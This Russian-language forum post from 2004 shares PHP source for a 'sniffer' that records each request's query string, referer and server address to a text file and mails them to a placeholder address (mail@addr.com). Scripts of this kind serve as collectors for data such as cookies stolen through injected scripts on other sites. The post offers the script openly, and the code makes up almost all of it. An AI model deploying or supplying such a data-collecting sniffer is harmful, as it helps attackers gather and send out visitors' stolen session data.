Показать сообщение отдельно

  #15  
Старый 13.10.2004, 23:47
zFailure
Участник форума
Регистрация: 06.06.2004
Сообщений: 169
Провел на форуме:
0

Репутация: 82
Отправить сообщение для zFailure с помощью ICQ
По умолчанию

если ты имеешь ввиду код снифера, то вот

</span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>Исходный код </td></tr><tr><td id="CODE"><?

$filename = 'sniff.txt';
$somecontent = date("l dS of F Y h:i:s A") .
"\r\nSERVER_ADDR = " . $_SERVER["SERVER_ADDR"] .
(isset($_SERVER["HTTP_REFERER"]) ? "\r\nHTTP_REFERER = " . $_SERVER["HTTP_REFERER"] : '') .
"\r\nQUERY_STRING = " . $_SERVER["QUERY_STRING"] . "\r\n\r\n";

mail('mail@addr.com', 'sniff', $somecontent);

// Let's make sure the file exists and is writable first.
if (is_writable($filename)) {

// In our example we're opening $filename in append mode.
// The file pointer is at the bottom of the file hence
// that's where $somecontent will go when we fwrite() it.
if (!$handle = fopen($filename, 'a')) {
echo "Cannot open file ($filename)";
exit;
}

// Write $somecontent to our opened file.
if (fwrite($handle, $somecontent) === FALSE) {
echo "Cannot write to file ($filename)";
exit;
}

//echo "Success, wrote ($somecontent) to file ($filename)";

fclose($handle);

} else {
echo "The file $filename is not writable";
}

?>[/QUOTE]<span id='postcolor'>
 
Ответить с цитированием